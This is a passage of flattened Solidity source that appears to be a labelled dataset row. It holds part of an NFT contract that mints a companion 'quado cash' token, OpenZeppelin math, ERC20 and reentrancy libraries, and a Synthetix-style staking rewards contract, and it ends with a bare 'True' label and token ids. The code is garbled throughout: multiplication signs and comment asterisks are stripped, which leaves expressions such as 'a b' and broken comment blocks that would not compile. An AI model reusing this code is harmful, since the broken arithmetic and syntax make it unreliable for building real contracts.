quado cash. * @dev Called by server * @param _tokenId Id of the token * @param _to address of the future owner of the token / function mintTo(uint256 _tokenId, address _to, uint256 _notMinted) public onlyOwner { require(!_exists(_tokenId), "token_exists"); _mint(_to, _tokenId); quado.mintFromCash(_notMinted); } /* * @dev Deposits token on contract to use off-chain * @param _tokenId address of the future owner of the token / function deposit(uint256 _tokenId) public { require(ownerOf(_tokenId) == msg.sender, "deposit_not_by_owner"); // would be nicer to have address(this) instead of owner, but then // for the release, the owner can not be approved by the contract transferFrom(msg.sender, address(this), _tokenId); // Solution with calling own contract call to change msg.sender... Holobots myself = Holobots(address(this)); myself.approve(owner(), _tokenId); emit NFTEvent(3, _tokenId, msg.sender, 0); } /* * @dev Emits events to release a token from off-chain storage into the blockchain * @param _tokenId address of the future owner of the token / function pickUp(uint256 _tokenId) public payable { require(tx.gasprice gasToPickup <= msg.value, "min_price"); // pay owner the gas fee it needs to call release address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event for off-chain listener emit NFTEvent(2, _tokenId, msg.sender, msg.value); } /** * @dev Releases an off-chain stored token into the blockchain and mints unminted quado cash. * @dev Called by server * @param _tokenId address of the future owner of the token / function release(uint256 _tokenId, address botOwner, uint256 _notMinted) public onlyOwner { transferFrom(address(this), botOwner, _tokenId); quado.mintFromCash(_notMinted); } function exists(uint256 _tokenId) public view onlyOwner returns (bool){ return _exists(_tokenId); } // NFT stuff function baseTokenURI() public view returns (string memory) { return baseURI; } function tokenURI(uint256 _tokenId) external view returns (string memory) { return Strings.strConcat(baseTokenURI(), Strings.uint2str(_tokenId)); } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } // This is needed by OpenSea function contractURI() public view returns (string memory) { return myContractURI; } function setContractURI(string memory _contractURI) public onlyOwner { myContractURI = _contractURI; } // admin related stuff // ================================ function adjustGasEstimates(uint256 _mint, uint256 _pickUp) public onlyOwner { //require(msg.sender == god); gasToMint = _mint; gasToPickup = _pickUp; } /* * @dev Withdraw ether from this contract (Callable by owner) */ function withdrawETH(uint256 amount) public onlyOwner { require(amount <= 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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. / library Math { /* * @dev Returns the largest of two numbers. / function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* * @dev Returns the smallest of two numbers. / function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /* * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.6.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/Rewards/Synthetix/StakingRewards.sol pragma solidity ^0.6.12; // Inheritance // import "./interfaces/IStakingRewards.sol"; // import "./RewardsDistributionRecipient.sol"; // import "./Pausable.sol"; // import "./Owned.sol"; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/Pausable abstract contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /* * @notice Change the paused state of the contract * @dev Only the contract owner may call this. / function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } // https://docs.synthetix.io/contracts/RewardsDistributionRecipient abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; / ========== STATE VARIABLES ========== / IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; / ========== CONSTRUCTOR ========== / constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } / ========== VIEWS ========== / function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } / ========== MUTATIVE FUNCTIONS ========== / function stake(uint256 amount) external override nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } / ========== RESTRICTED FUNCTIONS ========== / function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // If it's SNX we have to query the token symbol to ensure its not a proxy or underlying bool isSNX = (keccak256(bytes("SNX")) == keccak256(bytes(ERC20(tokenAddress).symbol()))); // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken) && !isSNX, "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( periodFinish == 0 \|\| block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } / ========== MODIFIERS ========== / modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } / ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 